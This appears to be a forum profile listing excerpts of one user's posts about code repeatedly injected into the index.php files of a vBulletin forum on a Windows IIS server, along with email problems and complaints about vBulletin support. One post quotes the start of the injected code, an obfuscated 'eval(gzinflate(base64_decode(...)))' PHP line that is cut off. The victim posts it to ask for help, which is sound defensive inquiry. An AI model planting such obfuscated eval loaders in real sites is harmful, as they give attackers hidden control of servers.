HELP!!! - code injected into all my index.php files somehow

[SloppyGoat]

I don't run Apache. It's WINDOZE IIS and it's been fast and secure for a freaking long time. FTP is not enabled at all. Although, I do run my own DNS, it's not an active domain server. Go ahead...run...

[SloppyGoat]

No offense, but from what I've researched, this is kind of an old issue. Why don't you seem to know about it at all? So far just denying write permissions on the index files alone has seemed to have locked...

[SloppyGoat]

Actually, as long as those are the only files targeted, I seem to have solved the problem by denying write privileges on all previously attacked index.php files. I'm no coder or programmer, so I really...

[SloppyGoat]

I just thought someone might know something and be nice enough to help out. vB hasn't been really helpful for years now...unless you pay them, and even then they're probably not going to be helpful. If...

[SloppyGoat]

I don't know enough to about it to figure it out. I've already tried. As long as you remove php from the beginning, or you're not running a php server, then isn't it harmless anyway? It's not a virus....

[SloppyGoat]

Can anyone decode this crap, or help me figure out how to defend from it?

Malicious code found in index.php files.

<?php eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke

...

[SloppyGoat]

Anonymous login is disabled. Only IUSR (Inet guest account) and IWAM (Launch IIS process account) are enabled besides the ASP.net account. Other than that, only my renamed Admin account is enabled. I'm...

[SloppyGoat]

Well, Win Server has is the security event log, and it's full of empty anonymous logons, which I unfortunately have not been monitoring lately, since there have been no attacks for a long time now. Anything...

[SloppyGoat]

It's my own server. I have no host. No unknown log ins on the forum. CP shows nothing unusual. It's like the forum hasn't been touched...just the index.php files only.

[SloppyGoat]

Yep, and I'm seeing event logs like this, which aren't very helpful in any way. Most have little if no info. It's a bunch of 540 and 538 events. It's been over 13 years since I've had any serious problems,...

[SloppyGoat]

This has happened a few times now. Can someone tell me how this code keeps getting injected into my index.php files? It disables the forum. Seems easy enough to remove, but I've been hit with it like...

[SloppyGoat]

Apparently, Gmail has changed their spam filter policy, and they were all just caught in my own spam filter, even the test emails I sent myself! Weird! I sometimes forget that gmail is not just an smtp/pop...

[SloppyGoat]

It looks like it has to do with the address I'm using as my admin email. I changed it and it started working again. Apparently, it has been banned by some mail servers for some odd reason. I have no idea...

[SloppyGoat]

Because I restored a full image that went back to before the problem started. That pretty much rules that out. How can it be the server? At first, I thought maybe it was the last Server 2003 security...

[SloppyGoat]

My boards' email function just stopped working for some reason. I am really stumped here. I have it set to use my SMTP with secure outgoing access. It just stopped working the other day and we have no...

[SloppyGoat]

Here's how my support ticket request went...a complete waste of time, by people who had already decided to rip all of their long time customers off on the free upgrade deal...


...

[SloppyGoat]

Only if your support fee was paid up before they made it impossible to pay it. I've paid the fee nearly every year, IIRC. It's only been lapsed since May....

[SloppyGoat]

Now that would be fair and keep everyone happy, wouldn't it? Those who didn't get a chance to pay up could and continue onto 4.x, and probably wouldn't even mind paying something extra then, without getting...

[SloppyGoat]

Yep, they just hosed all the smaller forum owners and lost a lot of business. The thing vBulletin forgot is, we all paid the same amount, back when we weren't getting hosed. Those who can't afford to...

[SloppyGoat]

I predict vBulletin loses a lot of customers.